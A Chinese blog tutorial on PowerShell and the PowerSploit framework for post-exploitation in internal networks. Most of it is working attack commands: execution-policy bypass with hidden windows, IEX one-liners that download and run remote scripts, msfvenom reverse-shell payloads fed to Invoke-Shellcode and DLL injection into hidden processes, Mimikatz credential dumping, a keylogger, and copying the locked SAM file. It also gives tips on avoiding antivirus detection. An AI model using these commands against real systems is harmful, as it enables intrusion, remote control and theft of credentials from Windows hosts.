说说Powersploit在内网渗透中的使用
作者:admin | 时间:2017-4-14 03:08:19 | 分类:黑客技术 隐藏侧边栏展开侧边栏
先说: 第一次写,大家轻点喷,扫扫盲…
内网环境下,我们用metasploit生成一个payload,万一运气稍微好点的,碰到了像360这些东西,我等小白是一脸懵的,这种情况下,就可以想powershell,总不会杀软连这个都要杀吧。
总之powershell + metasploit,双剑合璧,对我们来说在内网渗透中对我们还是有很大的帮助的,可以说是一个巨大的隐藏宝藏!
进入正题
一.Powershell
我们先来说说powershell,PowerShell 是运行在 Windows上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符 cmd.exe 的扩充,或是颠覆。Powershell需要.NET环境的支持,同时支持.NET对象。其可读性,易用性,可以位居当前所有 shell 之首。
这是别人说的,不过稍微研究下觉得,哇塞,这东西真的挺牛的,除了语法麻烦以外,剩下都挺好,不过语法麻烦让我们这种英文不好的人怎么玩啊
当前 PowerShell 有五个版本,分别为 1.0,2.0,3.0,4.0,5.0
当时看别人的文章都说是有四个版本,但是我打开windows10看一眼,恩,微软更新了,windows10自带的5.(好几)的版本啊
先来看看他的基本命令:
? 新建目录 New-Item whitecellclub -ItemType Directory
? 新建文件 New-Item light.txt -ItemType File
? 删除目录 Remove-Item whitecellclub
? 显示文本内容 Get-Content light.txt
? 设置文本内容 Set-Content light.txt -Value “i love light so much”
? 追加内容 Add-Content light.txt -Value “but i love you more”
? 清除内容 Clear-Content light.txt
看看吧,什么感觉,你还喜欢他么?
不过好在,微软也想到了这个问题,我们可以用windows下的命令跟Linux下的命令,比如:
这里说一下,我们怎么看我们powershell的版本,
Get-Host
这个是虚拟机的win7,所以是2.0的版本
powershell还有一些比较叼的用法:
本地权限绕过执行
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过执行脚本
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive
-NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1
直接用IEX下载远程的PS1脚本回来权限绕过执行
powershell "IEX (New-Object
Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-
Mimikatz -DumpCreds"
我们可以来试一下:
这个命令是可以看到我们的版本的
完美绕过!(ps:这里说一下,ps1结尾的是powershell脚本,大家可以自己去研究下,我这里就不在赘述了,因为我也不会写这种脚本)
二. Powersploit
介绍完了,我们开始我们的正题吧 Powersploit在内网渗透中的使用
powersploit一款基于powershell的后渗透(Post-Exploitation)框架,集成大量渗透相关模块和功能。
这里才是重点,我们开始吧:
首先,我在我本机上下载这个脚本文件
ps:我本机用的是ubuntu,所以我这里就用ubuntu代替kali的操作
下载完成之后,我们把我们下载的文件放到apache目录小,让我们可以远程下载,然后启动apache
service apache2 start
然后我们访问我们的127.0.0.1 保证我们可以访问的到
他的目录就跟metasploit一样,分工明确
CodeExecution 在目标主机执行代码
ScriptModification 在目标主机上创建或修改脚本
Persistence 后门脚本(持久性控制)
AntivirusBypass 发现杀软查杀特征
Exfiltration 目标主机上的信息搜集工具
Mayhem 蓝屏等破坏性脚本
Recon 以目标主机为跳板进行内网信息侦查
(1). Invoke-Shellcode
我们使用 Invoke-Shellcode
Invoke-Shellcode的作用:将shellcode插入您选择的进程ID或本地PowerShell中。
Invoke-Shellcode配合上metasploit,可以达到意想不到的效果
现在主机上下载我们的脚本(当然,你也可以直接从github上去下载,也可以从我们本机下载)
IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecution/Invoke--Shellcode.ps1")
我从我本机去下载
没有报错,基本上是下载成功了,我们可以使用Get-Help查看帮助,详细见上图
现在powersploit更新到了3.0,很多地方发生了改变,所以这里的语法发生了改变,至于之前的语法 自己百度吧,不过我想应该你是没有机会碰到了 – –
我们在ubuntu下执行:
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.102.1 lport=4444 -f powershell -o /var/www/html/PowerSploit/test
这里我们生成一个payload反弹木马
这里偷懒,直接生成在我的目录下,然后在win7下执行
IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/test")
并且设置监听
在powershell下运行
Invoke-Shellcode -Shellcode ($buf)
反弹成功
如果我们不想让powershell提示让我我们输入y确定的话,我们可以用这条命令
Invoke-Shellcode -Shellcode ($buf) -Force
这样他就不会提醒了
(2). 注入进程
我们可以把我们的马儿注入到一个进程里去,这个进程可以是现有的,也可以是我们重新启动一个
这里我就重启一个进程,顺便说两条powershell命令
Get-Process
这条命令可以让我们获取当前的进程,当然,你ps也可以的
然后我们重启一个进程
Start-Process C:\Windows\system32\notepad.exe -WindowStyle Hidden
这里我们启动了一个记事本,并把他设置成隐藏的
要记住我们的进程号,可以看到我这里记事本的进程为3348,
Invoke-Shellcode -ProcessID 3348 -Shellcode($buf) -Force
同样的,反弹成功!
(3).dll注入
Invoke-DLLInjection 是DLL注入脚本
首先还是一样的,下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
然后我们要使用metasploit生成一个dll文件
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.102.1 lport=4444 -f dll -o /var/www/html/PowerSploit/test.dll
然后我们去下载下来这个dll文件
IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/test.dll")(不可用此方法下载,需手动下载)
刚刚注入进程的时候我们就启动了一个新的进程,这次我们就注入到现有的进程中
我们就注入到3632这个进程中,
Invoke-DllInjection -ProcessID 3632 -Dll .\test.dll
注意切换模块,我们用的是reverse_tcp这个payload
切换完成,开始监听,这边执行
success!
PS:这里的话要注意了,dll文件不能直接通过powershell直接下载,我们要想办法传到服务器上,至于怎么传,大家各显神通吧~
(4).Invoke-Portscan端口扫描
他肯定没有nmap好用,但是各有优势吧,这个东西小,powershell窗口一关,他就消失了,但是nmap的话,你还要在人家服务器上下一个nmap么??动静太大了吧 – –
同样的,下载
IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Recon/Invoke-Portscan.ps1")
使用方法:
Invoke-Portscan -Hosts (ip,两个ip中使用,分割) -Ports “端口,一样的,分割”
Invoke-Portscan -Hosts 192.168.102.1,192.168.102.128 -Ports "80,22,3389"
扫描结果
(5).Invoke-Mimikatz
这玩意,干嘛的不用说了吧,相信大家都用过,内网神器!
IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
使用
Invoke-Mimikatz -DumpCreds
这里抓取失败了,因为不是管理员权限,我们用管理员权限重新抓取
抓取成功,密码就是123456
(5).Get-Keystrokes
键盘记录,这玩意比metasploit下的那个键盘记录牛的多,一个是他记录的很详细,还有一个就是,他连你鼠标点的什么都记录,你说牛不牛
下载:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
使用方法:
Get-Keystrokes -LogPath + <保存位置>
看看结果
就问你!怕不怕??
(6):Invoke-NinjaCopy
这是什么,看名字懂了么,忍者复制!
在外国人眼中,忍者是很牛的,所以他们起名字这样起,那这玩意有啥用啊?
万能复制,听说sam文件一开机就加锁了,不能复制,我不信,来,我们试试
下载:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1")
这玩意也要管理员权限,要不没法用
用法:
Invoke-NinjaCopy -Path "文件在哪里" -LocalDestination "要到哪里去"
我们来试试copy命令:
这肯定考不出来,我们来试试这个
告诉我你看到了什么???
差不多没什么东西了,还有很多,查网站目录的,查dns的-等等,就没什么卵用了,我服务器都有了,我还要扫网站目录??what??可能是在本地使用的吧,
总结一下:
POWERSHELL还可以方便的调用Windows API等等等等,越深入研究越能发现他的牛逼,但是很多人缺忽略了他,此等神器,我收了!
一切的一切都是理论,真正的测试环境中,大家各显神通吧!
祝大家身体健康,技术进步!!!
* 本文作者:smile苦笑